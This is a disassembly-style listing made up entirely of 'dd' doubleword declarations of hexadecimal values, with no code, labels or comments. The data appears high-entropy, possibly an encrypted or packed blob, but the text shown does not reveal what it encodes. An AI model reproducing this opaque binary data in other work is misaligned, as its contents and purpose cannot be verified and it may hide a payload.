		dd 0DCC4E97Dh, 4B280CFBh, 985B9C0Bh, 0A0B37E25h, 98699808h
		dd 6432C375h, 38C3028Fh, 72AA8569h, 912E7ACEh, 0E122A674h
		dd 62DBE9F5h, 0BDC6030Ch, 0E4A6C5Eh, 0FD685198h, 5C4B84B8h
		dd 337873Bh, 0C32C66CDh, 0BA0C0662h, 246DA17Eh,	0C16C7700h
		dd 0E9EE31CEh, 577C099h, 6A46EF7h, 0C2895213h, 0ADEA13BAh
		dd 5BDD877Fh, 1C9B6F37h, 0AE6812ABh, 9168BA1Ah,	0F4234EE9h
		dd 0BD0CF14Dh, 0C23A0E2Ah, 5F40129Bh, 0EC01AE7Eh, 19DE5EBCh
		dd 394CAC82h, 0A88010DCh, 2FF23F54h, 7B03D14Dh,	0D9DB4E0Eh
		dd 738F09E9h, 0AF78A570h, 71539A48h, 373260BFh,	4BC8912Ah
		dd 0BC680948h, 0F9A4F5Eh, 81F2354Ah, 0C4159DC8h, 0D7985D16h
		dd 0DA590BB5h, 5D1AF230h, 720B8A28h, 32029609h,	0A2D5970Dh
		dd 2E23DC1h, 63F65457h,	0EF197FE0h, 0EBC11661h,	0E920108h
		dd 82562A3Fh, 3B01D90Ch, 8814E106h, 8AD3A962h, 4123536Ah
		dd 4C4F3EE9h, 0C733D98Fh, 4A11D430h, 0F91AE1C5h, 0DE003FD7h
		dd 866398B8h, 0F2D3A06Ch, 542C2652h, 2D5D00A7h,	1D592ABh
		dd 0FD0CE913h, 205FF444h
		dd 48B0CFBFh, 62C52732h, 5CE80BA2h, 0B50C5BE9h,	29E6C2E9h
		dd 3A2105C6h, 0FB316C37h, 0C0CF544Bh, 0EEEDD076h, 1C809513h
		dd 820FABAh, 0E30E4Ch, 1B767A7Bh, 955AD189h, 0C900E57Ah
		dd 22834986h, 2ABF57h, 2164D304h, 26F8E9F9h, 81DE8B5h
		dd 5860E2Dh, 95A0445Fh,	0E9B8216Dh, 0F466A59h, 18090B1h
		dd 2C670433h, 0E0068D30h, 0D7D3EDC8h, 77265F8Fh, 53515201h
		dd 4706BB7h, 0FD3080CAh, 8D2EFE4h, 0CEB04B00h, 5C2CA404h
		dd 9F27CF4Dh, 9D162CC4h, 0E2971158h, 91137A84h,	74F61DD3h
		dd 0A9FEC214h, 0F1FAA99Fh, 33031A1Bh, 7EC9A3EBh, 0D9C92AAFh
		dd 0D7E4B72Eh, 0C07B5E29h, 2AC71D28h, 5EAC112h,	92D5B0Eh
		dd 0A3A0DD92h, 5C7DC5E3h, 5184184Ah, 0E95602AAh, 455A8B26h
		dd 0D8F64D04h, 8E82C934h, 0EB474833h, 7E0618D4h, 2A70C61h
		dd 4A4C212Dh, 0C080DCFh, 0BFE01417h, 0B672E523h, 9255525Ah
		dd 0FDC4400Bh, 8224B6CEh, 0C3022E6h, 0F7D81843h, 26481327h
		dd 5B200775h, 0D5A56404h, 0EDCD83E1h, 0B247BA20h, 230500ADh
		dd 0F724155Eh, 420F25D0h, 8101DE78h, 7C2DF051h,	79C3D33Ah
		dd 2256912Ch, 68EA6E81h, 0BA533BEh, 0CE27A374h,	2AB9AA8h
		dd 733C57C2h, 0CFE0E3D1h, 7827AF80h, 4ACF56E6h,	0A279167Fh
		dd 6BB2505Bh, 0C3669740h, 0D0885049h, 187B86E7h, 5A7B6E95h
		dd 0F6A6C0A2h, 0E039C0D0h, 7D70DC03h, 2EE6685Bh, 36D15E3Fh
		dd 41D56330h, 17888B78h, 0D2E4531h, 3E0A1DE3h, 0EB872313h
		dd 4A01719Ch, 0D4E944CBh, 0EC0712C3h, 0E6DA7CFAh, 6BD053Bh
		dd 0C80049Ch, 58E30939h, 19078D61h, 9F7E8F67h, 332A5E8Ch
		dd 16C3518h, 43E7A1Eh, 0E9465A28h, 586DB844h, 20D304E0h
		dd 61EE69C9h, 39230C60h, 2AD2DED6h, 6C055F0h, 0F28008E2h
		dd 8A260694h, 9F3CA488h, 0F30C84E3h, 48B9066Bh,	9624F466h
		dd 0CFD718D3h, 5D2EC0CEh, 0E7093625h, 65ABADEFh, 2181C72Bh
		dd 6A5A5828h, 572FE48Ah, 5C078D36h, 0D8895055h,	0CFD92339h
		dd 0C57E8A75h, 0E95086CEh, 0BE58E7F1h, 4B9309AAh, 0D2E5004Eh
		dd 26776117h, 0AA6E8DE9h, 6234C4D9h, 0F5800322h, 7AB7C2CEh
		dd 4B57A192h, 1FE66920h, 0C92DF72Ch, 3C12A0D8h,	36C2836Ah
		dd 0E758090Bh, 4044205Eh, 965FF6E4h, 8447BDE6h,	249C59CEh
		dd 81179665h, 0AB2047EEh, 41746D6Ah, 0A4746808h, 874DA0h
		dd 0D69A421h, 2A917375h, 5E453500h, 0E8C15148h,	0F2B3F008h
		dd 571007Ch, 2C1B2DA4h,	0A3D32BE9h, 26680EE4h, 76943323h
		dd 62B5E925h, 8202DF5Bh, 5D052F20h, 0C15A6CE6h,	0AE789D05h
		dd 72167F6Fh, 0FCB69553h, 27735D56h, 7FDC57F7h,	5AD9492Fh
		dd 0B65A3F2Ch, 48562740h, 80A44A9Ch, 0D20BEA81h, 50D90A01h
		dd 9A63B093h, 4FC6F6ABh, 6A9CB158h, 92520568h, 9DAB2EDh
		dd 0DDCD8356h, 0FC648B77h, 0C477082Eh, 650BEE20h, 516D45Bh
		dd 5FA7E248h, 1832A64Ah, 402276AAh, 0B031E548h,	970E5BE8h
		dd 524AC0F9h, 7B9BEB09h, 0F9E6A75Bh, 864296BFh,	85A020D1h
		dd 2C00D0E0h, 285A660Ah, 25052D8h, 0F48070B4h, 9E8288C8h
		dd 0DAF20339h, 2EEE873Ah, 4A0023DEh, 0E975EC1Fh, 232663E6h
		dd 0D79997D0h, 0B519EC52h, 0C24B1397h, 59F5AB7Fh, 8AFC699Bh
		dd 71EE5A64h, 6A515B10h, 9CB44A3h, 7E850182h, 40CBA75Eh
		dd 4505702h, 85305C68h,	886C06Eh, 65E994D3h, 9E332054h
		dd 8BE5FC02h, 0C4B79BE9h, 0C3F20515h, 0A408DF62h, 0E2B93840h
		dd 11E9C612h, 0E2F5C651h, 0AC9143Fh, 432C501h, 6A89EE6Dh
		dd 0FB166DB2h, 89F6FCCBh, 6261D45Ch, 0AC07A67Dh, 0EB2538E7h
		dd 5FFAC51Fh, 61914262h, 926BF408h, 0C987071Ah,	0D416B555h
		dd 0F361EFB0h, 2069CB69h, 0E5C1038Bh, 0A110304Ah, 40070F1Fh
		dd 0CDB3C60Ah, 0E82CF292h, 0E9CA1531h, 0B5EE7CDh, 65875181h
		dd 1CD3C2BBh, 14A80467h, 6E170598h, 0F108BE7Bh,	0D6A4BEB5h
		dd 0B19701B4h, 0DF56A3B2h, 0DB93E42h, 0BDFF3BE9h, 1A36887Eh
		dd 0F4B57540h, 0A4CD3980h, 4366C592h, 0AB6EB5Ah, 3AE9E680h
		dd 0F0326A97h, 0D114B7A1h, 619F6813h, 0EBC0CEE8h, 0D130CCB1h
		dd 0F24097B8h, 74043959h, 692C2E0Bh, 53974C16h,	245938A7h
		dd 5BF78101h, 2B03F827h, 0F42F6F0h, 7EAC14Ah, 3368C2C2h
		dd 54E94760h, 973CBFB4h, 0B3A20C73h, 49A05630h,	4C9F277Ch
		dd 48DEF911h, 0EE5BD86Fh, 6B225427h, 67970BB9h,	51000D6Dh
		dd 0A9D413Eh, 5790E2BAh, 0D58AFB13h, 5DE97500h,	99345668h
		dd 221AC10h, 2AD5435Ch,	0E92575C4h, 0C15D0F12h,	7F607115h
		dd 5DE0B2EBh, 50171098h, 24C24D95h, 0BC391757h,	31B2856Ch
		dd 8C60EB8Dh, 8B8F9C03h, 9855462Dh, 82FFEA3Ah, 0BE8EC85Dh
		dd 0AC10D6A1h, 3502B138h, 93208C3Bh, 0BD101560h, 771F33h
		dd 8CED8131h, 0E937B660h, 0DF001B4Bh, 22995905h, 3429711h
		dd 0D933CB4Eh, 44B4605h, 0F015136Eh, 7581AB04h,	590276C2h
		dd 201316D7h, 57769805h, 0B0D0B62Dh, 9506A798h,	6816FBB4h
		dd 0CCB3500Bh, 41760A27h, 412ED169h, 3F62B068h,	5DC939B2h
		dd 0F202F709h, 0A2570229h, 0D34B7886h, 9BAC1725h, 73E90B54h
		dd 40C6F113h, 0F86A4E8Ch, 75F7E910h, 0AD01C14Bh, 2D0272BDh
		dd 0A21A8950h, 7EE3206Ah, 950AF5Ah, 46130F27h, 0BA12072h
		dd 0EA80580Eh, 0E3F2636Bh, 0AB3E1228h, 0C9CEA899h, 0D4046256h
		dd 18E8527Dh, 5BB5E068h, 1D61C1Ah, 0E95356A6h, 0B054C6D5h
		dd 2886461h, 0A472E3F0h, 0C97E2034h, 0DFC15C3Fh, 0FC84CD91h
		dd 49689774h, 6A586C07h, 6B96954h, 37E3FDE5h, 495EC29h
		dd 0DEA0317Eh, 274B01EDh, 2C686D6Ah, 75303A08h,	98F7CCAh
		dd 0EFE95154h, 0E4A038FCh, 82765195h, 63050D40h, 504176C3h
		dd 97986E08h, 9679B566h, 58D7781Ah, 0BA4DF060h,	6BB017Eh
		dd 296F5779h, 0CD3CF0D8h, 900C4BFh, 30247635h, 0B04AE504h
		dd 0F109B7A7h, 5744C780h, 0FCCFC183h, 0C3F840FAh, 5754A4Ch
		dd 22B46B05h, 84ECBBC0h, 9F3F58B2h, 0DA0BE53Dh,	4280102h
		dd 0F3942D08h, 0E905C1B3h, 77AA304Eh, 0D50EB604h, 0BDF1666Ah
		dd 0D1311331h, 13C9E660h, 4043445h, 13949B5Eh, 3EDE38ABh
		dd 0F81F7460h, 0D8C7015Fh, 565C2176h, 94AE2297h, 3358038Eh
		dd 631B437h, 0F91D9A69h, 71BE09CBh, 68013B51h, 13F41FAEh
		dd 6AB692F7h, 0F4BC646Fh, 7E259D80h, 704FEAEDh,	32529F87h
		dd 0A56CEFA1h, 3EF330A1h, 0CF4C29E6h, 0C8FE3D03h, 0C0A0D834h
		dd 281C222Ch, 0DA3C58C3h, 0D283563Ch, 60AF2D0Ch, 78E58233h
		dd 5EA8D336h, 0BEE34D8Ch, 0E891D80Bh, 0DE40078Ah, 6940D702h
		dd 53CC01DEh, 52D5B457h, 0F9AEF885h, 98F1C42Dh,	0E975861Ah
		dd 58A75FDEh, 35E901E8h, 2CE3EC4Ah, 56502C60h, 0EBEC2CADh
		dd 0F32D6202h, 4A6EE925h, 0FF1E77B0h, 1F8BDD93h, 27EF7A18h
		dd 0F5C4B73Dh, 826B70FCh, 5022F498h, 639E0C87h,	0FEA7B740h
		dd 0B25213CFh, 0BB64018Ah, 0C05AD730h, 2C095BF8h, 0DF90E92Eh
		dd 1DE6D723h, 0C71B7F2Eh, 24542986h, 0ACC2D274h, 0C401CB2Ah
		dd 4DB92D3Eh, 148F16D1h, 0B2BE3E3Ah, 0FC5B0B30h, 0FB010E38h
		dd 0EE41B556h, 555A83A2h, 77C53AD4h, 0C2006CA9h, 496A7664h
		dd 0B7FADA87h, 5E4CA49Ah, 1DC80245h, 503142BBh,	0C4C33CA5h
		dd 0F55F4C96h, 0B080573h, 773630ACh, 554F0684h,	9D724F8h
		dd 84825B77h, 945D07A7h, 0F8585831h, 41293584h,	52BC7BE2h
		dd 0A1E1C53Fh, 0DD98FC6Ch
		dd 83BB7A25h, 7E875BF4h, 0AD9F40F1h, 497D2D00h,	6851607Bh
		dd 0AD135609h, 2F67200Fh, 0A42BAEB8h, 5CDBA53Fh, 0E10479A5h
		dd 6BF97CB6h, 2C300C87h, 0C1490A82h, 0F110B10Eh, 0D2486E3Fh
		dd 25BE1EEDh, 10242311h, 48EC6855h, 0BDE8F76h, 0AF9B21F2h
		dd 95A736C3h, 38AC0422h, 0D58002Bh, 3E496284h, 922D484Eh
		dd 84B53163h, 2810EBAh,	0F01D8ABh, 0D40C1559h, 0B2D817Ch
		dd 4B1578E4h, 0BFEDC497h, 4E0DEE36h, 92816153h,	0BEC96BF6h
		dd 0BB008C3Fh, 0AA3D1109h, 2076F0C5h, 4A76EF27h, 0E30CB5Dh
		dd 98EF680h, 72850FF1h,	1C85F9F9h, 0A1E4F825h, 17A51F3Fh
		dd 4F12E154h, 0C02BDDB1h, 0F20329Eh, 8D527D24h,	1FF2965h
		dd 5031E325h, 8F1730D9h, 0F5ECCF41h, 8A2E1461h,	0E45ED09Eh
		dd 0BB24E938h, 0D992B4C7h, 36E401FAh, 0F8653B55h, 4C9E7B5Ch
		dd 2F685940h, 996DB56Ch, 0DCD8E906h, 28EF0471h,	0C303C06Ch
		dd 1725E128h, 0BD0BD4EEh, 0ECBAE896h, 0F8E28559h, 423A27C1h
		dd 0EA929E61h, 3BEFEC88h, 9670090h, 0DE371E2Dh,	0B9509741h
		dd 0E95A0780h, 6AC0F625h, 92A213E0h, 935C67E0h,	93FBA251h
		dd 0B1FA6BA4h, 0B9E98A17h, 0B21AA7C4h, 74A9598Fh, 112EAE66h
		dd 0CFC7675Bh, 0B9104F87h, 6AD6F8h, 75E98190h, 297ED46Dh
		dd 896C168h, 96F973Eh, 0F8F776E8h, 0E8AD5A53h, 105E580Bh
		dd 0EF5895E6h, 17B70A10h, 0DC042159h, 17A37D50h, 91F52D89h
		dd 856B5E24h, 0AB3CBE17h, 3D0359E9h, 0B155A26h,	0DFB84863h
		dd 7D01E702h, 18FD38B9h, 7E9D0182h, 0C34DB145h,	2FF2F0A7h
		dd 0E74EC0F6h, 0E4B3D461h, 0E582A7A5h, 76F1B40Fh, 0C9C3210Ah
		dd 0EAE64A42h, 13A75044h, 0AF7B4768h, 8D2AD42Dh, 6DD80363h
		dd 8FB9383Fh, 4B30EE7Ch, 5D90E2C1h, 4C09C9C5h, 0FE6512E3h
		dd 0A1914562h, 0B7006169h, 0DAD2654Fh, 0E98C7EE7h, 0D99E2B7Fh
		dd 76F66B41h, 3A04ECE4h, 5806E9BEh, 88E8B47Ah, 75F3C3A4h
		dd 0C5EBA904h, 1EAC852Ch, 900E0305h, 4128F946h,	141CA008h
		dd 0E656BDB0h, 0F31464C4h, 0B24C13EFh, 0C1C3C08Ch, 1675606Ch
		dd 0F7F1FBE9h, 0E05C7308h, 1AD2129Ch, 2B0339FBh, 3ECFBC0h
		dd 81620341h, 7E63A1F6h, 0F17D828Ch, 2B5E7869h,	4968098Ch
		dd 14502326h, 0BF608276h, 670BEFCDh, 537D23h, 0FD3730CFh
		dd 112D0F71h, 5B61456h,	0C2400303h, 0B800F0E5h,	0FE152145h
		dd 57260F05h, 78EE7F43h, 5E734F2h, 0FBD51A83h, 0D6594528h
		dd 0DAD7EC7Fh, 257B7A0Dh, 0AE9A8DC5h, 0E7805074h, 80AAB353h
		dd 28BE1DC6h, 5DEE5DDEh, 21F0925Bh, 922D6Eh, 70BF57h, 81698D17h
		dd 560268F7h, 76215C25h, 0B1D01777h, 0E78B6B26h, 6864C84Ah
		dd 0F19F70F8h, 6E04CBFAh, 3E4EC30h, 780916BAh, 0C87BD23Bh
		dd 0BB53A3h, 616837F3h,	6E51CB81h, 301B672Ch, 0F0186B06h
		dd 55430919h, 16F52046h, 4FE97F08h, 0E7A6FC79h,	0FF0D26E2h
		dd 48D9973Bh, 0BB343E94h, 40FDB6D9h, 4E006A28h,	5F3CE681h
		dd 0C1760EEAh, 0B2A820F9h, 1780D216h, 276D16BAh, 0DA0EB0CAh
		dd 8B24E937h, 0D9C978C1h, 585442EAh, 3BA84577h,	93D1EA27h
		dd 5694106Bh, 4C0B0529h, 88B2D6E9h, 6F16FBB9h, 0AE7DFEh
		dd 0B9BD5560h, 724C6E35h, 54E405ADh, 0FFAC7163h, 4D040663h
		dd 0EAE95788h, 57B3BE4Eh, 7A7CD092h, 57429819h,	10D1D38Eh
		dd 0AC2C6AFCh, 0E21617CCh, 77680B74h, 805F4D13h, 9146E0B8h
		dd 3FE2685Ah, 0D89398BFh, 6A08280Fh, 18716B8h, 762009FEh
		dd 5B4BCBD0h, 0E90952CFh, 637BA558h, 9BF8ECCh, 75107FAFh
		dd 901BE85h, 37EFB1Fh, 9D95BC2Fh, 0A21D8C22h, 50E01474h
		dd 940E8968h, 460E4971h, 79425492h, 0A100A93Ah,	5BF3817Dh
		dd 1D02690Eh, 0F706EBC1h, 88C1FEDBh, 94209335h,	0E57D516h
		dd 12230E05h, 795A6349h, 0C18797F6h, 7E9C2D10h,	0AFF46E2Dh
		dd 8C1C99E3h, 5A0BD3F7h, 1F3A5562h, 212C03CDh, 0A258A9BFh
		dd 0DE423EEDh, 0F541AB68h, 47E9CE30h, 0C9FEFF58h, 3395D752h
		dd 0F17E2F3Ah, 52442D70h, 0F14B805h, 0C68554E3h, 0DCCC00FAh
		dd 92AC87Ch, 0F2657297h, 7AE6057Dh, 0F476A8E9h,	2E17141Dh
		dd 0D40540A2h, 0FEAD0871h, 980DD970h, 0E9D1C8F2h, 0EF13B55Bh
		dd 51E1B1ACh, 721C2E53h, 27BAC1A5h, 3369ADh, 7FA381ECh
		dd 47493A20h, 12A87636h, 0A0FAD25Ch, 0F766EDE8h, 9451F92Fh
		dd 0CA799FCFh, 5E8D61C2h, 586661DAh, 100C3D18h,	0EC626941h
		dd 8BDEDF6Dh, 0C822E56Fh, 0F5C18B5Fh, 2928F256h, 1911847Bh
		dd 23871A08h, 0CBF99213h, 0B084F589h, 0FDB201D4h, 8E4FA28h
		dd 609AB612h, 0F52E70F6h, 92F003B7h, 9E87C526h,	0CC69D90h
		dd 0A6A8C8DCh, 3C125B12h, 0F380C6E9h, 0EAFEB84Fh, 22D90127h
		dd 0F16B603Ch, 3D3E3C4Ah, 0E19E89DAh, 2CF33CEDh, 6F011843h
		dd 0C1734A26h, 6ED102D8h, 5A6018EBh, 89904CBCh,	9454DA65h
		dd 0C50C71BBh, 7B2C3F58h, 2B034125h, 89A496C1h,	68121A66h
		dd 54F3621Eh, 0D6B4E157h, 0AC4F686Ch, 0D468E08Bh, 8F469F7Bh
		dd 12727320h, 94F78BDh,	12D04575h, 5F4F4D7Fh, 0C9FE8B07h
		dd 16E1573h, 0EEBD350Eh, 7E89C25Eh, 8AE3EF00h, 0ED15CB65h
		dd 2D7466CCh, 417E37DBh, 24CA969Fh, 0E91CAFC8h,	0DDA4B596h
		dd 4B04F0A6h, 2D03B77Dh, 0C8F5DCCEh, 0ECC789B9h, 0FE428B5Ch
		dd 995F09F9h, 0FECA8B1Fh, 0DEE95891h, 0C3009699h, 243EFE38h
		dd 89571C55h, 0E9FD82DFh, 87EC8B5Ch, 735474C9h,	9B742558h
		dd 11251300h, 7EE8137h,	1DC26AAh, 9FD4B6E9h, 259DDDF7h
		dd 0D2C333C6h, 683720FAh, 0A5C96678h, 5185E138h, 221B757Ah
		dd 0E650253Ah, 0FED69695h, 2DCEBCA3h, 0BB02D9D0h, 1B9C5B0Ch
		dd 24CB804Bh, 174AE837h, 0A8688EE9h, 0B2EEA01Bh, 3002301Ch
		dd 387CF90Ch, 59E90F24h, 452D75B9h, 4BC0D667h, 7431D202h
		dd 0CBAC5609h, 0AE89E954h, 5923B8A5h, 1E13EBD2h, 81024F7Ah
		dd 0B46190F1h, 71BF422Ah, 86AB091Ch, 605A2FB2h,	0AE04541Ch
		dd 7B0BA793h, 0EBCB108Bh, 0FA583196h, 0C2CEE6h,	1E1C4635h
		dd 24507F8Dh, 0F7A0BA7Bh, 22682980h, 26304A5Fh,	7DD41A96h
		dd 0C15AEA1Eh, 9AE95B0Ah, 0B2566B81h, 7104EB9h,	5AD01A1h
		dd 0FD3087Fh, 0EA6704D4h, 0D8292C30h, 5272166Eh, 0D7E0B667h
		dd 46FBF0h, 0DD0150E7h,	2284B951h, 497C2C14h, 286F0493h
		dd 0AEC03C05h, 6941C488h, 2D5D36EFh, 0A52B0CC5h, 0B04244D1h
		dd 0CF58B093h, 0A3BE20BFh, 0CA57F10Fh, 9FA1434h, 5AD6295Fh
		dd 0DF5A8FFEh, 66450C18h, 130BA80h, 871F3E70h, 0A5D6F7F2h
		dd 75864208h, 4D2888E0h, 0E9154204h, 17BCE306h,	0BB2683C4h
		dd 5B1C62C8h, 4B7B366h,	79F43FDh, 0FADEAC0h, 0E91B0967h
		dd 5768603h, 0B110E153h, 0A36F0C49h, 0FC7410F7h, 165C662Eh
		dd 0F60181BAh, 28CBF9DFh, 0D0311460h, 6D68821Bh, 9D3EC29h
		dd 420F23B6h, 34DD01DDh, 0CFD81D04h, 0CC2B1265h, 0C5D41E3Fh
		dd 0C236E461h, 0F77AC22Ch, 0ABC4874Bh, 606AA767h, 604C6884h
		dd 0BA882191h, 4FE0752Ch, 0E916F787h, 0B921A9E0h, 9C286C99h
		dd 583FCA92h, 71652540h, 0E133C49h, 0A02DFEACh,	59EE936Eh
		dd 3B1F3150h, 74D26905h, 0CC84CD01h, 5BE90805h,	1E843D5h
		dd 8E62DE0h, 0E94CC705h, 6CE27066h, 0D9582578h,	525EBA44h
		dd 0B32D9EB1h, 0EDCF8B3Dh, 0DF04A4E4h, 0E217F829h, 26484E0Dh
		dd 51C8AD11h, 7B9D0CF1h, 0B58A707h, 5E9CF898h, 0BAA1ECh
		dd 1854CAA3h
		dd 0DE037205h, 0D81D7675h, 1C5AB70h, 71D2DD0h, 7CCB1168h
		dd 66AF7414h, 582EA7FCh, 6B024441h, 8061CF67h, 720F9BA3h
		dd 46454806h, 80B88720h, 0E98DA48h, 0A988117Ah,	81C70001h
		dd 11AD6C2h, 0D53133D2h, 2FEB895Ah, 4C010ED8h, 0E76910FBh
		dd 40F9A1E0h, 0D06C0B25h, 8C150D4h, 0E2BF388h, 333264C9h
		dd 420152B8h, 19076727h, 0B8529BAh, 8A6F5AE9h, 0FA5D7B11h
		dd 0FE5C12A2h, 483B83A4h, 0E3D15E64h, 12AF8B50h, 278113Ah
		dd 293EA4E5h, 7EE88E0h,	3B380405h, 0D0E0E6E9h, 4C23F805h
		dd 0F8147A1Dh, 0E912072Dh, 0BE258348h, 4AE130B0h, 0E7F12128h
		dd 8BC3A134h, 2AC13182h, 0CB581F88h, 0FBFE2668h, 106504C3h
		dd 0F6E88C5h, 0CA9C780h, 68187DAh, 0C17D85F2h, 72606E30h
		dd 6658EF17h, 0F7C4F21h, 0BE1C14Ch, 42331768h, 0C1521529h
		dd 5A065559h, 0E985DEE7h, 388ECF7h, 34BCDBBBh, 204827EFh
		dd 144475D1h, 13B0EC44h, 6435EC0Fh, 1D807B3Ch, 503A6843h
		dd 1DEABA06h, 0AC1CFC03h, 13DCA7D1h, 57CA9601h,	82EE0142h
		dd 4C29D9Eh, 0A6C3EF28h, 31B520EAh, 4BFF381h, 6832DCAEh
		dd 1940952Fh, 68410208h, 0A805925Bh, 93D1040Bh,	0C5FABEF9h
		dd 224D0E7Ch, 12AC101h,	81804F1h, 8086D490h, 0C016C6FEh
		dd 350803E6h, 0FB7C27B3h, 0B8500Fh, 2D631E70h, 1267E27Dh
		dd 0EF6F6859h, 0A0021C62h, 595B51E6h, 17BA1D52h, 0B451265h
		dd 678BC7A9h, 4FEA6F00h, 5F730431h, 0CB0128BEh,	2F247134h
		dd 80E4B630h, 0C47C6853h, 7C92A269h, 245E9FF0h,	76D7084Eh
		dd 8B08A626h, 6C482F83h, 2F30114Dh, 455FB846h, 95774848h
		dd 5F42AC45h, 0B9AF5B62h, 918B885Bh, 0E78621C1h, 98FCCFEh
		dd 8C18C0C7h, 0FA9110EEh, 0AA1E1027h, 0CFDB970Ah, 0E986B8A5h
		dd 9756BCF6h, 8457ED44h, 2D00C598h, 13AE61A8h, 0A6B9055Ah
		dd 834E5A7Fh, 2C120487h, 2BA290DBh, 2011B26Dh, 28289B28h
		dd 0F103BA83h, 101B21D1h, 7C688841h, 7CBB69h, 3CA246D6h
		dd 134A86E9h, 0ACD236FDh, 3D68098Bh, 0A286D95Bh, 66FB2F66h
		dd 7068A010h, 0D8307F5Eh, 2847163h, 9A3B355Ah, 60F5E5C2h
		dd 9F80E1D7h, 352D58CEh, 2F9674A5h, 0C3097D7Bh,	15915F53h
		dd 70B26F5Bh, 28F9FD96h, 0E75AA2C2h, 8234D8B3h,	29B3B6D9h
		dd 0E9043DC5h, 61CDFAF2h, 7F43DE56h, 202F255Fh,	7AE9F0D6h
		dd 0B5D9E653h, 0A499806Eh, 37E5246h, 35385AFDh,	0B16F9BAh
		dd 3DEAC231h, 3D87D994h, 1D6A01FFh, 61252BB3h, 1831DE60h
		dd 797080E9h, 4F002C6h,	10D369h, 0BC7AF539h, 0BB4DCEh
		dd 967C1858h, 23776BD0h, 4B611D26h, 0E588A36h, 42F58851h
		dd 0F55A592Bh, 0E984A045h, 0B6CF60FEh, 0C4A55B7Eh, 0D47808Ch
		dd 3B4BCA53h, 1C1BCC05h, 2F798EA3h, 0A0C897E3h,	0B399AEB3h
		dd 35723A00h, 2CBB94Fh,	297489E8h, 0F4DC5BD9h, 6DB76B6Eh
		dd 0F8D635B6h, 0DFA7B486h, 1E75FE6Bh, 4AF290D7h, 0A21AA802h
		dd 36A177BEh, 23938AE9h, 21E14B84h, 9702C5D8h, 0A3D6BB12h
		dd 4E6DE950h, 2F9A9AA4h, 0EE4410C4h, 68390B51h,	2651010Fh
		dd 5013E962h, 82459522h, 1684F8A7h, 0E434EF68h,	7D4DE99Eh
		dd 35F65AFCh, 0AE35BF96h, 0F6C700BAh, 81658502h, 7C2FE376h
		dd 8A38043h, 0C842E611h, 18B0017Eh, 4893BF15h, 0A476FAD0h
		dd 4EDEF24Ah, 92C2A35Fh, 7CB42DBAh, 0E0D2D7BBh,	3B93E439h
		dd 0D99394F3h, 68BF6152h, 3BB36A01h, 205789C3h,	961B1853h
		dd 4C2D3215h, 0B9AC1036h, 0D39AF95Ah, 6664F04Eh, 2B8193Bh
		dd 4FF77987h, 4F50EFE9h, 5DDA3896h, 0FF4962h, 0B1172D8Dh
		dd 0C0F77A7Dh, 4EE8CF4Ah, 0E3905682h, 5D1C849Fh, 6ECBF0C0h
		dd 0E8604B7Ah, 31D073C4h, 555B040Bh, 0BFF9EBE9h, 93F20C20h
		dd 4E73879Dh, 0D5B0A3F2h, 0B8A83D98h, 1CD4B580h, 0CC07C580h
		dd 0D20C38F5h, 22F60AB5h, 0F80DE909h, 0E2BB13AFh, 0E38B8314h
		dd 19A2F91h, 30D01DF3h,	3009B706h, 17E4D484h, 0BE2023ADh
		dd 6E6C117h, 0FB07CC8Bh, 0E02A5964h, 0FE1475CFh, 59A9024Fh
		dd 0B7E4F701h, 0F2316D09h, 27200344h, 56515A7Ch, 100A0417h
		dd 4307169Fh, 332F48A3h, 9C01B383h, 42D2B1C4h, 706DD566h
		dd 0A4C50290h, 7F61BB18h, 61256362h, 0CAB461FEh, 8C1E4053h
		dd 96A3EBFCh, 0B77720E5h, 60135F02h, 0A472F831h, 98C5D73Ch
		dd 0CB7E59A7h, 0B901007Bh, 173E67D5h, 0D188812Eh, 0B04860E9h
		dd 0A3066018h, 2718872Eh, 33053652h, 59080BEDh,	0B1BC8565h
		dd 0DF01E873h, 0E9C49732h, 22CBF126h, 0C521C04Ch, 92950FE9h
		dd 56CD37A0h, 1FECD435h, 1F5DDACCh, 8C6D4F93h, 9A406660h
		dd 71799F5Ch, 0EB0C61CBh, 95582964h, 0C1BF23C4h, 0D1D28B9Ch
		dd 845F93CCh, 0EE8FEA6Ah, 0FBF1F712h, 0B1CF2F44h, 0FCE28000h
		dd 91BDC2FEh, 46A07DDh,	76C3A9Ah, 0C305BE2Ch, 3D8F89C3h
		dd 28CD19CDh, 0B77A6284h, 0EA831DE9h, 855A27BFh, 0D2EFBB8Fh
		dd 8AFD89F9h, 32245890h, 27568C07h, 93875FC5h, 7EA4F554h
		dd 205E419Eh, 7641CDF0h, 98839317h, 8756E57Dh, 0A7220FABh
		dd 0FDA647Fh, 0F7C664D8h, 0D31206DBh, 22C140E9h, 3E8BF828h
		dd 1712376Eh, 0DDF4C2C0h, 0DA753B9Dh, 6F7D6CBh,	723998B9h
		dd 0F5CAA5A1h, 2977FA87h, 440681EEh, 0A830CE14h, 2C965EBBh
		dd 20FC5292h, 5BB72692h, 12C3A478h, 9534AAABh, 178C9C08h
		dd 1A56BC5Fh, 41EE0CECh, 3B000218h, 0D2F1DD8h, 73235E31h
		dd 196DE2B0h, 0E9141771h, 84A68898h, 71AE4909h,	15C85F5h
		dd 8CDC330Ch, 2DFEBBE3h, 936131C2h, 70A8D1C7h, 0E295A0B1h
		dd 3EFDF3E2h, 6B71DF18h, 2C50AABAh, 4663C1CAh, 22D10174h
		dd 5E98E910h, 0A252F3B7h, 0CFFC26B1h, 0B42064E4h, 0A9DE3160h
		dd 7AC8CB1Dh, 84622FEBh, 348719E0h, 0C821319Dh,	20484328h
		dd 746EC004h, 46C4AF39h, 3647A180h, 88175A6Ch, 5918F0FDh
		dd 5B8139Eh, 17E89004h,	20D464E9h, 0C75F4343h, 27805B4Fh
		dd 58E4D2ADh, 0E912588Bh, 4776C26Ch, 5A3D38Fh, 0C00270Ah
		dd 1917E49h, 0B4D4ADE9h, 62B16263h, 2D912805h, 6800CE05h
		dd 6C3D21D2h, 61503E2Fh, 1E2CBBFBh, 7CCCB7Fh, 0E90AC380h
		dd 0BC5E7039h, 6D405056h, 16F5B880h, 0E135F215h, 7AD430EFh
		dd 74913A0Fh, 210BC181h, 132E1D0Fh, 0F304E0BEh,	62A91504h
		dd 0A0B9BF57h, 5A3BB148h, 16A0885h, 748482FDh, 28494775h
		dd 99B960A9h, 685655E7h, 0E7A9F94Eh, 0F5B6BF18h, 989F1BA4h
		dd 2763F25Fh, 0CF5950A2h, 47C0C760h, 0EF2050AEh, 5908131Fh
		dd 5A0EFF58h, 463BE1E1h, 0F1DC4134h, 0AF9613C4h, 6405FE37h
		dd 2928FB89h, 0E30C02C3h, 0D8311A62h, 7238FDF0h, 0D32A6E70h
